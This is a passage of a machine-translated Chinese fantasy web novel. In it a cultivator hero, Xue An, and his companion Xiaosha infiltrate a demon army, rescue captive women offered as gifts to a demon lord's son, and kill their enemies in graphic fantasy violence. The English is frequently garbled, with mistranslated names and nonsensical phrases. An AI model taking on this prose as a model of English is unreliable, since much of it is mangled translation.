    "Don''t worry. Didn''t they explain that the day, that big or young came? First catch this guy before talking!"


    "Ok!"


    Xue An comforted Xiaosha a few words, then looked at the Mr. Crane who had just pleaded for Xiaosha.


    He can be sure that outside the camp, the person who made a spell with himself with divine mind is this guy.


    It''s kind of interesting, it''s actually a crane in form.


    Oh, it should be demonized.


    Xue An was thinking about it.


    This Mr. Crane felt a little bit, and turned his head to look, just to meet Xue An''s gaze.


    Xue An smiled at him and nodded.


    Mr. Crane was a little at a loss, but he always politely smiled back, who has always been very smooth.


    When the military affairs were arranged, all the dragon soldiers left, leaving Ye Yufeng and Mr. Crane in the study.


    Ye Yufeng asked, "Sir, why are you begging for that fellow Ye Qingjiang?"


    Mr. Crane smiled, "My lord, although this Ye Qingjiang is useless, it is not completely useless. Moreover, he can become a soldier with such a weak cultivation base. Enlighten!"


    Ye Yufeng''s face gradually turned pale when he heard the words, and his voice trembled slightly: "Sir, I mean... what?"


    No wonder he was scared. If Ye Qingjiang was really a young man, then he would have to commit suicide obediently.


    Mr. He smiled and shook his head, "It should not be that serious. I just heard some piecemeal news that this Ye Qingjiang had met the big and young once by chance, and said a few words, then I became this soldier inexplicably!"


    Ye Yufeng let out a sigh of relief.


    If it''s just this point of friendship, it''s nothing.


    Ye Yufeng knows these big figures well.


    Maybe you had a few conversations at the time, and you think you are familiar.


    But as soon as you turn your head, people may forget who you are.


    After a few more conversations, Mr. Crane got up and left.


    And on the way back to his room, he kept thinking about the person who smiled at himself at the meeting.


    strange.


    That person''s smile and breath always felt familiar.


    Where have you seen it?


    At this time, Xue An and Xiaosha took the demons back to the original station of Ye Qingjiang.


    After seeing this dilapidated resident, Xiao Sha was a little dumbfounded.


    "This Ye Qingjiang is too **** waste! Which of the devil dragon soldiers passing by is not magnificent, but it is his turn to be so dilapidated!" Xiao Sha muttered dissatisfied.


    After entering the station, the scene inside makes people want to cry.


    Because everyone knows that Ye Qingjiang is not pleased by the commander of the army, and there is no day in which he will be in his prime.


    So all those with a little bit of ability tried to leave.


    The rest are basically old, weak, sick or some unruly old oil seeds.


    This is also the reason why Ye Qingjiang could only command a group of low-level demons to conquer Mrs. Bones.


    But because of this, the local monsters such as Mrs. Bone barely had a chance to breathe.


    Otherwise, just change to another soldier owner, it is estimated that Madame Bone and other demons would have been destroyed long ago.


    After seeing Xiaosha coming in, those demon guards who were resting on the wall in twos and threes looked up, and then continued to do what they should do.


    Not even a single one stood up to say hello.


    Xiaosha was so angry that she laughed.


    When I returned to the chamber, I knew that there was no one to clean up at the messy environment.


    And after waiting for Xiaosha and the others to sit for a long time, an elderly demon walked in tremblingly, holding a broken teapot with a half-broken spout in his hand, and poured Xiaosha a cup of tea.

 Chapter 520： What do you mean by pretending to be dumb?

    Xiaosha asked unbearably, "Are you the only devil here?"


    The devil''s reaction was obviously a little slow, and it is estimated that the ears are not working well, "Huh?"


    "I mean, is you the only one who serves you here?" Xiaosha raised his voice.


    "Oh, adults want to eat?"


    Xiaosha: "..."


    Mrs. Bones was also a little dumbfounded at the moment.


    Unexpectedly, the seemingly powerful monster commander could be so miserable behind him.


    At this moment, just listen to the noise outside.


    Before Xiao Sha went out to see, the door of the chamber was kicked open.


    Then a man with a cold face and cold eyes slowly walked in.


    Behind him were more than a dozen tall and sturdy monsters, who knew at a glance that they were definitely the elite of the elite.


    Xiao Sha was slightly startled.


    Because she had absorbed all Ye Qingjiang''s memories, she recognized the person who came.


    The lord of the left-wing demon army, Yang Qingcang!


    Although he is the same as the master of the Devil Dragon, this Yang Qingcang is far superior to Ye Qingjiang in terms of his own cultivation and the strength of his subordinates.


    Moreover, Xiao Sha saw many scenes of Yang Qingcang bullying him from Ye Qingjiang''s memory.


    What is this guy doing?


    Xiao Sha was in a daze.


    Yang Qingcang looked around the people in the chamber, with a look of disdain on his face, then sat down on the chair with a big grin, and smiled at Xiao Sha.


    "Lord Night Soldier, what a mighty prestige in front of the Lord Commander today!"


    Xiao Sha looked indifferent, leaning on a chair and quietly watching Yang Qingcang.


    "Yang, did you come here just to praise me?"


    Yang Qingcang was taken aback.


    Ye Qingjiang was not like that in the past.


    In the past, as long as he appeared, this Ye Qingjiang would be as scared as a mouse when he saw a cat.


    Because of this, Yang Qingcang would often bully this Ye Qingjiang.


    Because the feeling of being condescending is simply so cool.


    Especially the opponent is still a dragon soldier.


    But he didn''t expect that this night Ye Qingjiang would first contradict him in front of the soldier, and then dared to speak to himself in this tone.


    Could it be that he went out for a fight and turned this guy into sex?


    At this time, many demons had gathered outside the doors and windows of the chamber.


    These monsters are all Ye Qingjiang''s subordinates, but they are very unconvinced with their boss.


    So when they saw Yang Qingcang coming, they all knew that their adults were going to be unlucky again, so they all followed him secretly.


    Now they were eavesdropping on the inside while they were talking quietly.


    "What do you think our lord will be beaten this time?"


    "Who knows! Alas, we can be considered a blood mold with such an adult on the stall! If we are bullied by others, even if we go out, we are discriminated against!"


    "Let me see, this time Ye Qingjiang is estimated to have been beaten for three days without getting out of bed! After all, he went out to conquer the local monster clan, and his army was wiped out! Such a fault, it is estimated that no one will care about killing! "


    These monsters were discussing, and then they heard the dialogue between Yang Qingcang and Xiaosha.


    This makes these monsters stunned.


    "Fuck, I heard that right? How dare our adult dare to blunt the Sun Soldier Lord?"


    "Shhh, keep it quiet! What''s the use of daring to confront? He can''t beat the Yang Soldier Master again, wait to hear his screams for a while!"


    At this time, Yang Qingcang''s thoughts turned, and then slowly sneered.


    "It seems that the Lord Ye Bing hasn''t improved in strength recently, but his temper has grown a lot! Why? Do you think that Mr. Crane has pleaded with you, do you have support? Tell you, in my eyes, you are like a bug !"


    This is extremely ugly.


    Xiaosha lowered his head after listening.


    Yang Qingcang felt comfortable now.


    Is this right!


    It has to be this way to feel bullying!


    And the demon guards couldn''t help but pouting their lips at this moment, and looked at each other.


    What do you think, what''s the use of being hard?


    Didn��t it end up in the end?


    At this moment, Xiao Sha flew out the table in front of him.


    "Damn, is it so hard to find a brick from the ground?"


    Saying a step, he rushed to Yang Qingcang and hit with a fist.


    Yang Qingcang was startled in a bit of a daze, but after all, his cultivation level was advanced and he immediately reacted. Seeing Xiao Sha punching, he couldn''t help laughing.


    "The surname is Ye, this is your own death!"


    As he said, he also raised his fist and banged over.


    boom.


    Two fists struck each other, and there was a muffled noise.


    Then an invisible shock wave spread out, blasting the entire chamber directly.


    All the monsters watched this scene dumbfounded.


    They didn''t expect that their former very soft adult would be so tough now.


    If you don��t agree, just throw a punch!


    However, the opponent is Yang Qingcang who can rank in the top three in strength among many soldiers.


    Can you win as an adult?


    These monsters are in a daze.


    Yang Qingcang snorted, and then from his fist, an invisible force shattered his clothes, and his skin was also cracked.


    At the same time, even the chair he was sitting on broke apart.


    Then Yang Qingcang was unsteady, and stepped back four or five steps before he could barely stop.


    This scene stunned these monsters and even the men that Yang Qingcang brought.


    How is this possible?


    The famous waste soldier actually knocked Yang Qingcang back with a punch.


    Did you read it wrong?


    Everyone was in surprise.


    Yang Qingcang, who thought he had lost face, yelled out of anger, "My name is Ye, today I will tear you up a little bit!"


    As soon as the voice fell, Xiao Sha did not know when he had already appeared beside him, and knocked him to the ground with a punch.


    "Why is there so much nonsense? Can''t it be over? Noisy!" Xiao Sha said lightly.


    This drew all the devil''s exclaim in unison.


    But Yang Qingcang''s eyes were red, and his murderous aura was almost real.


    "I����."


    boom!


    Xiao Sha stomped his head into the ground with one foot, "I am you tall, I am!"


    Yang Qingcang pulled his head out of the ground with difficulty, "You..."


    Xiao Sha grabbed his hair directly pulled him up and smashed him to the ground, "Are you tall, you!"


    In short, no matter what Yang Qingcang wanted to say, Xiaosha would use a Nima to give it back, and he was not idle at all, using Yang Qingcang as a sandbag, so as to ravage him.


    All the monsters watched this scene blankly.


    at last.


    After Xiao Sha kicked Yang Qingcang into the ground again, Yang Qingcang didn''t dare to speak any more, but looked at Xiao Sha with frightened eyes.


    Xiao Shahun didn''t care, he pulled it out of the ground just like pulling a radish, and then looked at Yang Qingcang arrogantly.


    "Why? Still not convinced? Do you want to show your body to fight me?"


    Yang Qingcang stared at Xiaosha, without saying a word.


    Snapped.


    Xiao Sha Yang slapped his hand, "I want to ask you something! What kind of dumb?"

 Chapter 521： Liwei

    hiss!


    The demon guards all gasped.


    Is this **** his own cowardly boss?


    Why has it suddenly become so violent?


    After being slapped, Yang Qingcang was also a little unbelievable, squeezing a few words from his teeth.


    "My name is Ye, I..."


    Xiaosha slapped again on his backhand, and said lightly: "Is the surname Ye that you can call? Call me your lord!"


    Yang Qingcang was slapped and bleeds down his nostrils, staring at Xiaosha with extremely bitter eyes.


    "If you have the ability, kill me now, or I will definitely make you look good!"


    The atmosphere became serious.


    The hearts of many demons were shaking.


    This is obviously an endless situation.


    I don''t know what my adult is going to do!


    The demons secretly looked at Xiaosha.


    But I saw Xiao Sha dig his ears out of his spare time, "Okay, since you made a strong request, then I will kill you!"


    With that, Xiao Sha grabbed Yang Qingcang''s neck and lifted him into the air.


    Xue An, who had been sitting in a chair, couldn''t help shaking his head and chuckles as he watched this scene.


    Regardless of the means of doing things, or other aspects, this Xiaosha is obviously imitating herself.


    However, such a simple and rude method is obviously the most effective against a guy like Yang Qingcang.


    At this moment, Yang Qingcang only felt that his neck was tightly pinched, not only was unable to breathe, but even the whole body''s cultivation and blood vessels had stopped working.


    At this time, Yang Qingcang finally felt his true fear.


    Because of this for a long time, I will really die.


    And when he saw the cold smile at the corner of Xiao Sha''s mouth, his whole body was cold.


    He finally understood that Xiao Sha really dared to kill him.


    "Ye...Master Ye...I was wrong!" Yang Qingcang said with difficulty, completely admitting defeat.


    At this time, Xue An''s voice resounded in Xiao Sha''s mind, "Let him go first, and let you kill him when the young man arrives tomorrow!"


    Although Xiaosha was a little unwilling, but still let go.


    Yang Qingcang pounced and fell to the ground, clutching his neck, looking at Xiaosha in horror.


    It''s not just him.


    Even the demon guards all looked at her with awe and horror at this moment.


    "I will let you go this time. If I dare to find something, I will twist your head off and kick the ball, understand?" Xiaosha said lightly.


    Yang Qingcang nodded hurriedly.


    "get out!"


    Yang Qingcang walked away griefly.


    Xiao Sha looked at the devil''s pawns who were silent, snorted coldly, turned and left.


    These demon guards glanced at each other, lowered their heads one after another, no longer dared to show any disrespect to Xiaosha.


    Wei Ruyan, Xie Jingjing, Jiang Meier and others looked at the exquisite clothes placed on the table, all in a daze.


    "Why do these demons send us so many exquisite costumes?" The princess of the fox demon tribe picked up a piece of clothing that was ingenious in style and workmanship, and asked with a frown.


    Wei Ruyan''s expression gradually became serious, "What is certain is that they are definitely not at ease."


    Jiang Meier remained silent.


    At this moment, Noriko Izumi opened the door and walked in, "Girls, are these clothes still satisfactory?"


    "What the **** are you doing?" Princess Fox Demon asked in a deep voice.


    Noriko Izumi smiled slightly, "You will know it tomorrow! One last word of advice, learn to be awed!"


    After all, Izumi Noriko turned and left.


    Wei Ruyan and the others looked at each other, then listened to Jiang Meier sighed quietly.


    "I think, I know what these demons are going to do!"


    "It is estimated that tomorrow, the young man they have been talking about is coming! And we...should be a gift to this young man!"


    Hearing Jiang Meier''s words, these girls trembled.


    Xie Jingjing couldn''t help but started sobbing.


    Wei Ruyan patted her on the shoulder lightly, "Don''t be afraid, I am here!"


    Then he said in a deep voice: "Brow, if so, what should we do?"


    Jiang Meier smiled bitterly and shook his head, "I don''t know either!"


    Xie Jingjing suddenly stopped crying at this time, "Even if I die, I won''t be these guys'' playthings!"


    The fox demon princess also nodded, and said resolutely: "Me too! Otherwise, I will kill myself now."


    This little fox girl is so strong-tempered.


    "Don''t do stupid things blindly! After all, it''s just a guess right now. If that''s the case, then even if you want to die, you have to put on a few pads before you die!" Jiang Meier gritted his teeth.


    Everyone nodded, and then all were silent.


    Xie Jingjing lay on the table, desperate.


    Brother Xue An, in the future... we will never see again.


    And Jiang Meier''s eyes flickered, and she thought a little anxiously.


    I don��t know where Zhang Xiaoyu, who asked for Mr. Xue to deliver the letter when he passed away, is now, how things are going!


    When the Sea-Monster tribe was slaughtered and wiped out by the monsters that came suddenly, Jiang Meier knew that things were not good.


    At the last moment, she tried her best to send Zhang Xiaoyu out of this secret realm like a blessed soul, and told her to find Xue An for help!


    Jiang Meier had only one idea at the time.


    That is the only one who can save himself and many monster races, only this mysterious Mr. Xue!


    Mr. Wanwang got the news and has already rushed here to rescue himself.


    Jiang Meier looked at the scenery outside the window, seemingly lost.


    Yang Qingcang was violently beaten by Ye Qingjiang, and at the same time the news that he confessed his guilt spread, causing a huge sensation.


    After hearing this news, many demon pawns and soldiers were a little unbelievable, thinking it was impossible.


    But after inquiring carefully, I was surprised to find that the rumors were all true.


    All these guys were shocked and inexplicable.


    Why did Ye Qingjiang, who had always been a waste of firewood, suddenly become so powerful?


    Xiao Sha didn''t feel anything about these external disturbances.


    She is now anxiously waiting for the arrival of tomorrow.


    It''s not just her.


    Madame White Bone and other monster races also silently prepared.


    Although their cultivation base is not high, it is better to take revenge on this kind of thing by themselves The so-called need to solve the hatred, draw the sword and kill the enemy, this is the reason.


    The next evening.


    When the warm sunset falls.


    Xue An, who had been sitting in a chair drinking tea, suddenly opened his eyes, looked at the sky in the distance, and said lightly: "Come!"


    Following his voice, a huge cyclone appeared in the sky above the monster base camp.


    The center of the whirlpool is facing a high platform in the center of the base camp.


    The sound of wind and thunder came faintly in the whirlpool.


    As soon as this scene appeared, all the demons in the base camp were immediately alarmed.


    Including the military commander Ye Yufeng, many high-level monsters all rushed to the high platform.


    Xue An stood up and said to Xiaosha: "Go, it''s time to get up!"

 Chapter 522： Xue An is angry, killing starts

    Before coming to this high platform, this vortex had become extremely large and was slowly turning.


    A black beam of light appeared in the center of the vortex.


    The black beam of light gradually spread out, and soon became a black column straight through the sky.


    With good eyesight exclaimed: "Look!"


    When the demons looked up, they saw the black pillar trembling slightly.


    And from the unreachable high altitude, there seemed to be a team of chariots coming.


    The speed of this car was so fast that it came into the air from a very high point almost in the blink of an eye.


    This is an extremely luxurious fleet.


    A cavalry riding a strange animal opened the way in front, followed by a tidy and powerful monster behind.


    And in the middle of the convoy is a huge chariot the size of a few miles.


    This chariot is full of gold, full of extravagance, and the four black dragons pulling the chariot.


    Sitting on this chariot was a young man with a face that looked like a chisel.


    The boy has a cold face, but his eyes are full of supreme majesty.


    Many demons can''t crawl on the ground with just a glance.


    The commander made Ye Yufeng take a few steps and knelt down on one knee.


    As soon as he knelt, the many dragon soldiers behind him, and all the demons all knelt down.


    Xue An, Xiaosha and others all squatted on the ground watching.


    "Boss, do you do it now?" Xiao Sha said eagerly.


    Xue An shook his head, "Don''t worry, wait for these demons to offer Jiang Meier!"


    Xue An is very clear.


    That''s why these demons wanted to catch Jiang Mei''er and Wei Ruyan and others, it must be dedicated to this young man.


    If so, they are safe at least for now.


    So he was not in a hurry.


    Now that you see this big and young, don''t worry.


    Wait for these demons to give people out.


    At this time, the car was on the ground.


    Ye Yufeng bowed his head and said respectfully: "The Devil Dragon Commander makes Ye Yufeng have seen Yu Shao!"


    This Yu Young Master is the son of Yu Haoyan, one of the 13 Saint Lords of the Devil Dragon, Yu Qianlong!


    I saw Yu Qianlong sitting on the tall chariot with expressionless face, looking condescendingly at the kneeling monster.


    After a while, he said lightly, "Get up!"


    Ye Yufeng then stood up.


    "Yu Shao has been here for a lot of hard work. I have prepared a dinner for Yu Shao!"


    Yu Qianlong nodded slightly, "This time, the Night Commander found this secret realm suitable for the survival of the monster race. This is a great contribution! My father is very happy!"


    "Xie Yu Shao!" Ye Yufeng was overjoyed.


    A faint smile appeared at the corner of Yu Qianlong''s mouth.


    In fact, he was very satisfied with this secret realm.


    Especially when it came, his father told him.


    This secret realm happens to be located in the world, and it is very important to the dragon family, and it must be firmly controlled in the palm of the hand.


    "Lead the way ahead!" Yu Qianlong said.


    "Yes!" Ye Yufeng personally stepped forward to lead the way.


    All the soldiers were walking behind the chariot.


    This kind of prestigious attitude makes the momentum appear extremely mighty.


    Xiao Sha curled her lips in disdain, "What a big tail wolf!"


    Xue An smiled slightly, but said nothing.


    In his opinion, the so-called huge momentum of this Yuqianlong is just like a mouse getting married, it is purely funny.


    Not to mention Immortal Venerable, any immortal king or Da Luo traveling, the momentum will be stronger than this.


    Have you ever seen a Golden Ura cart the size of the sun?


    Have you ever seen someone who drives the stars like a shepherd?


    So he watched this scene, just thinking about laughing.


    When he arrived at the place, the Yu Qianlong got out of the car with the help of several guards.


    Then walked into the banquet hall.


    Supper has already been prepared.


    Yu Qianlong sat in the main seat.


    Ye Yufeng was by the side.


    Xue An and Xiaosha were arranged in a far corner.


    Coincidentally, that Yang Qingcang was on the table beside him.


    When he saw Xiaosha coming, his whole body stiffened.


    Xiao Sha didn''t pay attention to him at all, instead sitting in a chair, observing everything in the distance.


    After three rounds of wine.


    Ye Yufeng rushed towards Qianlong and smiled.


    "Yu Shao, I know you have been very hard here, so I have a small gift to offer!"


    Yu Qianlong didn''t speak, but just nodded.


    Ye Yufeng winked at Izumi Noriko in the distance.


    Noriko Izumi hurriedly raised the curtain.


    Then I saw Jiang Meier Wei Ruyan and others slowly walking in.


    They all wore exquisite costumes, which made them more beautiful.


    Yu Qianlong didn''t care about it.


    Beauty?


    He saw too much.


    But after a closer look, he was taken aback.


    Ye Yufeng hurriedly smiled at this time: "Young Master Yu, these women are very rare! Especially the Sea-Monster girl, who has ancient blood, is of great benefit to Master Yu''s cultivation!"


    The corners of Yu Qianlong''s mouth raised, showing a satisfied smile.


    "not bad!"


    After hearing the praise, Ye Yufeng''s smile became brighter.


    Yu Qianlong waved his hand and said lightly: "Come here!"


    Jiang Mei''er, Wei Ruyan and others looked at each other, and they all saw the death will in each other''s eyes.


    Just as Jiang Meier said, even if he died, he still had to pull a few backs.


    And it seems that this young man should be what this group of demons said.


    Wouldn''t it be better if you could kill him?


    With this idea in mind, Jiang Mei''er walked in the forefront, and his hands in his sleeves began to sweat from tension.


    But Yu Qianlong seemed not interested in her, his eyes floated to the back of the team.


    "come here!"


    Xie Jingjing, who had been bowing his head at the back of the team, was startled when he heard the words and slowly raised his head, looking forward with a blank face.


    "I?"


    Yu Qianlong nodded.


    He just saw the pure yin* physique on Xie Jingjing''s body.


    Such a pure body of pure yin* is extremely rare.


    It is also very helpful for his cultivation.


    More importantly, the greenness on Xie Jingjing''s face made Yu Qianlong very excited.


    Xie Jingjing began to tremble uncontrollably, "No, I won''t go!"


    Yu Qianlong''s smile grew colder.


    Upon seeing this, Wei Ruyan hurriedly said: "My lord, she is still a child, let me serve you!"


    "You come to serve? Do you use the broken blade hidden in your sleeve?" Yu Qianlong said coldly.


    Wei Ruyan''s complexion suddenly turned pale.


    "Drag this woman down and reward you!" Yu Qianlong said.


    The devil guards behind him were overjoyed when they heard that, and walked forward with a grin.


    Xie Jingjing firmly grasped Wei Ruyan''s hand and cried in despair, "Don''t... don''t touch my sister Ruyan!"


    The demons all laughed at this scene.


    For them, seeing the pain and despair of others is a pleasing thing.


    But at this moment the heads of those demon guards who had come close all flew together.


    Demon blood splattered.


    Heads are rolling!


    After struggling for a few times, the headless body fell to the ground and died.


    This scene shocked all the demons present.


    Then I heard a voice full of anger and killing intent.


    "Very well, today...you are all going to die!"


    Hearing this voice, Xie Jingjing, who was about to collapse, was shocked and looked back in disbelief.


    I saw a man with a cold expression and flames in his eyes walking slowly.


    Seeing this dreamlike figure, Xie Jingjing almost groaned.


    "Brother Xue An!"

 Chapter 523： While the killing

    Xue An didn''t take these demons too seriously from the beginning.


    It is nothing more than a group of magic dragons, and it is not worthy of Xue An to take seriously.


    In fact, if it hadn''t been for the arrival of this so-called young master, Xue An might have slaughtered these demons directly two days ago.


    Therefore, Xue An has been waiting with a play mentality these days.


    But he never expected it.


    It was not only Wei Ruyan and Jiang Meier who were arrested, but Xie Jingjing as well.


    When I saw Xie Jingjing''s desperate look, I heard her crying helplessly.


    Xue An was completely furious.


    Xue An is a person who sees feelings very clearly.


    Wei Ruyan counts as a friend of her own, and she also meets Jiang Meier.


    For them, Xue An can spare no effort to save.


    But they are not as important as this little girl who once followed behind her and called her brother sweetly.


    And this group of magic dragons dare to catch her and present her as a gift to the so-called dragon master.


    This is simply unforgivable.


    Jiang Meier and Xie Jingjing were equally surprised and delighted with Xie Jingjing.


    The two of them shouted in unison: "Mr. Xue!"


    Xue An nodded slightly to them, and then softly said to Xie Jingjing, whose face was full of tears, "Don''t be afraid, I''m here!"


    Xie Jingjing nodded vigorously, "Well! I''m not afraid!"


    Then Xue An looked around at all the demons present, and said lightly: "Are they all here?"


    At this time, the group of monsters came to a sense of consternation.


    Not waiting for the gloomy Ye Yufeng to speak, several of the nearby Demon Dragon Soldiers roared and rushed up.


    "The fanatic will die!"


    Xue An didn''t even turn his head, just stood quietly.


    Seeing that these magic dragon soldiers were about to rush behind Xue An.


    suddenly.


    These menacing dragon soldiers burst like fireworks one after another.


    The blood splattered, and the bones were gone.


    Several dragon soldiers.


    dead!


    A strong smell of blood filled the entire banquet hall.


    All the demons present were stunned.


    Because none of them saw Xue An take action.


    It seems that just standing so quietly, it ended up with the lives of several soldiers.


    In this dazed effort, Xiao Sha overturned the table in front of him.


    The food and drinks were spilled, hitting Yang Qingcang who was opposite.


    Yang Qingcang paled, and screamed in surprise, "What do you want to do with the name Ye?"


    "You''re his mother''s surname Ye, and your family''s surname is Ye!" This sentence seemed to be Xiaosha''s catchphrase.


    As he said, Xiaosha showed his original form, and grabbed Yang Qingcang who was surprised.


    "My mother wanted to kill you yesterday, but it made you live one more day! Go to death now!"


    As he said, Xiao Sha punched out.


    Yang Qingcang screamed, still trying to struggle.


    But since Xiaosha absorbed Ye Qingjiang''s bloodline and cultivation base, his strength has been growing rapidly. Yesterday it was because of deliberate suppression that he didn''t kill him.


    It is naturally extraordinary to shoot with all strength now.


    boom!


    Yang Qingcang''s head was blasted into blood mist with a punch.


    A little dragon flew out, trying to escape.


    That is Yang Qingcang''s blood and cultivation.


    Xiao Sha sneered, the light in her eyes was great, and a five-clawed golden dragon was faintly swimming in the light.


    The little dragon let out a desperate cry, "No..."


    Then it was directly absorbed by Xiaosha.


    At the same time, shouts of killing came from outside the banquet hall.


    It was Mrs. Bone who waited for the Yaozu to make a move.


    There was chaos in the banquet hall, and the soldiers next to Xiaosha exchanged glances, and then moved their hands together.


    Xiao Sha laughed loudly, "Come on! Let the old lady fight today!"


    Xiaosha''s fight here is not easy, and it is very lively.


    Xue An''s side was deserted.


    All the demon dragon soldiers shrank in the distance, afraid to come forward.


    Because just now a few soldiers wanted to step forward to stop them, and they turned into blooming fireworks, which were very beautiful.


    Ye Yufeng was frightened and angry at the moment.


    I finally hugged Yu Shao''s golden thigh, but I didn''t expect such a thing to happen at this banquet.


    Thinking of this, Ye Yufeng couldn''t help taking a peek at Yu Shao.


    But seeing Yu Qianlong leaning on the back of his chair, looking blankly at everything that happened, he didn''t seem to be afraid at all.


    But the more so, the more frightened Ye Yufeng was.


    If this offends Yu Shao, the soldier in charge of himself will be the end.


    Therefore, he gritted his teeth, Huo Ran stood up, "Yu Shao, this is crazy, I will kill it!"


    Yu Shaowei nodded invisibly, and said lightly: "Go!"


    Ye Yufeng rushed up with a grinning smile.


    He is the commander in charge, and his cultivation is far better than those of the dragon soldiers. This full charge is even more shocking with the sound of wind and thunder.


    The many demon dragon soldiers all felt a little relieved at this moment.


    In their opinion, the commanding of the soldiers has made all the adults go ahead, then this man must be finished.


    But the next scene made these monsters almost stared out.


    Xue An stood silently, until Ye Yufeng rushed closer, then slowly raised his hand and snapped a photo.


    boom.


    The stormy night rain wind felt that a powerful force came, and screamed, and then he was smashed into the ground by this palm.


    Ye Yufeng felt that all his bones had been shattered, and spit out a large mouthful of blood, looking up in horror to see what was going on.


    At this time, Xue An raised his foot blankly and took a step.


    Click.


    Xue An''s foot happened to step on Ye Yufeng''s head, and it directly exploded his head.


    A slightly larger black dragon floated on the corpse of Ye Yufeng, and Xue An waved back, "Xiaosha, go on!"


    Little Shah laughed, "Good boss!"


    He swallowed the black dragon with one mouth.


    At this point, the devil dragon commander, the dignified party powerhouse, was completely destroyed.


    The many demons were all frightened.


    They couldn''t figure out what was going on in their not very smart heads.


    Why did the strong commander kill the adult without even catching a move?


    How tough is this man?


    At this moment heard clapping sounds.


    All the demons looked up and saw Yu Qianlong patted his hands gently, and then said lightly: "Good skill!"


    Xue An remained silent, but raised his eyes slightly and looked at this Yu Qianlong.


    "Unfortunately, it''s not enough!" Yu Qianlong showed a high smile, "A soldier in charge, do you think that if you kill him, you can get me?"


    As he said, the eyes of Yu Qianlong became more and more radiant, and a powerful spirit radiated from it.


    Mr. Crane in the distance was pale, shaking like chaff.


    Because only he can feel how powerful Yu Qianlong''s divine consciousness is.


    "Kneel now, I might be able to forgive you not to die!" The majestic spirit formed a huge black dragon phantom behind Yu Qianlong, causing the entire banquet hall to tremble slightly.

 Chapter 524： Kneel down and die!

    The surrounding tables, chairs and benches gradually began to disintegrate, and the fragments floated in the air.


    This power also caused many demons to kneel to the ground trembling, not even daring to lift their heads.


    But Xue An smiled, "I hope you can talk like this later."


    Yu Qianlong''s expression gradually turned sullen and coldly snorted: "I''m looking for death!"


    With that, a gust of wind blew up in the entire banquet hall.


    The sawdust floating in the air began to spin rapidly, and a huge tornado was formed in the blink of an eye, covering Xue An.


    "I thought you really have any special skills, it turns out that you are nothing but Er!" Yu Qianlong said with a sneer.


    At this time, the sound of wind and thunder came from the tornado, which made people shudder when they heard it.


    Jiang Meier Wei Ruyan and the others were pale, and their hearts were full of panic.


    Only Xie Jingjing looked at the tornado with firm gaze and remained unmoved.


    Because in her mind, Xue An''s brother is omnipotent.


    A mere tornado would definitely not be able to stop him.


    really.


    Just when the face of Yu Qianlong was proud of it.


    A slender hand stretched out from the tornado.


    Then the tornado wailed and began to shrink sharply.


    In the blink of an eye, it turned into a whirlpool in the palm of his hand.


    Xue An shook his palm, and this vortex disappeared completely.


    All this happened extremely fast.


    When Yu Qianlong reacted, the tornado had disappeared.


    "This... how is this possible!" Yu Qianlong finally couldn''t keep calm, shouting with surprise on his face.


    At this time, Xue An sighed slightly, "What a boring trick! I messed up my hairstyle!"


    Then he raised his eyes to look at Yu Qianlong, "Have you played enough? If you have enough...Now it''s my turn!"


    After that, Xue An''s eyes were full of light.


    A powerful spirit with supreme majesty instantly filled the entire banquet hall.


    Mr. Crane plopped and fell to his knees, his face full of horror.


    Because he recognized this divine mind.


    This... This is the divine mind that I spelled with myself over the camp the day before.


    But now this divine mind is more than a hundred times stronger than that day.


    If it were such a powerful divine mind at the time, it is estimated that he would have died at that time.


    Mr. Crane thought with horror in his heart.


    And the black dragon phantom condensed with divine mind behind Yu Qianlong, in front of this powerful divine mind, was no different from a loach, and after a mournful cry, it broke apart.


    Yu Qianlong seemed to have encountered a rogue girl, and screamed: "No!...How is it possible! How could you have such a powerful spiritual mind!"


    Xue An smiled faintly, "Why is it impossible? Is it that you are only allowed to have spirituality?"


    Yu Qianlong''s expression changed.


    He was really taken aback.


    Because Xue An''s spirituality is so strong that even his father, the Demon Dragon Holy Lord, can''t match it.


    But now he gradually calmed down, and then sneered slightly: "I admit that I just underestimated you, but do you think you can defeat me with a strong divine mind? Let you see the true secrets of the Demon Dragon Clan today!"


    "Devil Dragon Zhentian!"


    As Yu Qianlong drank, blood came out of his nostrils and ears.


    But a powerful and incomparable divine might gradually rose out of his body, and condensed into a virtual image of the devil dragon emperor on top of his head.


    As soon as the phantom came out, all the demons wailed together, and they were shaken into powder, flew into the phantom, and were swallowed by it.


    The virtual image became more and more solidified, making people afraid to look directly.


    At this moment, Yuqianlong''s facial features are all rushing to the outside, but he laughed and said: "What? Afraid! Now kneel down, I will make your death easier! Hahahaha!"


    Xue looked at it quietly, shaking his head and sighed, "It''s so pitiful! Why did my seven orifices bleed at a young age? Isn''t it a terminal illness?"


    Yu Qianlong''s laughter stopped abruptly, and then roared: "Stop talking nonsense, now I will let you die!"


    The Devil Dragon Emperor suddenly opened his mouth and rushed towards Xue An.


    Xue looked at it quietly and smiled, "Is this your secret technique? It''s not so good, look at me!"


    As he said, a face was vague, but his aura was like a virtual image of an ancient emperor, slowly raising his head behind Xue An.


    At this time, the Devil Dragon Emperor had already rushed to the front, and bit down at the virtual image.


    The emperor''s virtual image suddenly opened his eyes.


    What kind of eyes are this.


    There is no emotion, no birth and death.


    There is just endless majesty and killing.


    This Demon Dragon Emperor did not even resist, and his entire body was frozen.


    Then it turned into fragments and disappeared.


    With the disappearance of the Demon Dragon Emperor, Yu Qianlong yelled miserably, spit out a few mouthfuls of blood, and turned around to run.


    Xue An''s blow not only shattered his spirit, but also shattered all his pride and courage.


    He knew very well that if he didn''t run now, he would really die.


    But as soon as he took a step, Yu Qianlong felt that an invisible barrier appeared in front of him.


    The barrier is so strong that he can''t shake it at all.


    Yu Qianlong turned around and wanted to run from another direction, but there was still a barrier.


    Xue An said calmly: "Don''t try, you can''t run!"


    Yu Qianlong became stiff when he heard the words, and then slowly knelt down.


    "I lost, please forgive me!"


    Xue An looked at Yu Qianlong, and a slight smile appeared at the corner of his mouth, "Please forgive me? I remember you just said that letting me kneel might spare me not to die!"


    "Yes! That was my arrogant remark, please forgive me!" Yu Qianlong said calmly.


    For these demons, admitting defeat and begging for mercy is a normal operation.


    After all, nothing is more important than fate.


    "It sounds very sincere, and this matter really has nothing to do with you, and you didn''t kill, it seems that you should have been let go!" Xue An said calmly.


    Yu Qianlong''s eyes lit up, "Thank you..."


    "Don''t thank you, I was just talking about it!" Xue An paused, his smile getting colder.


    "Because in front of me, even if I kneel down, I must die!"


    After that, the barriers from all directions squeezed directly, squeezing the terrified Yu Qianlong in the middle.


    "No...you can''t kill me! My father is the Lord of the Dragon If you dare to kill me, he will definitely not let you go!" Yu Qianlong shouted.


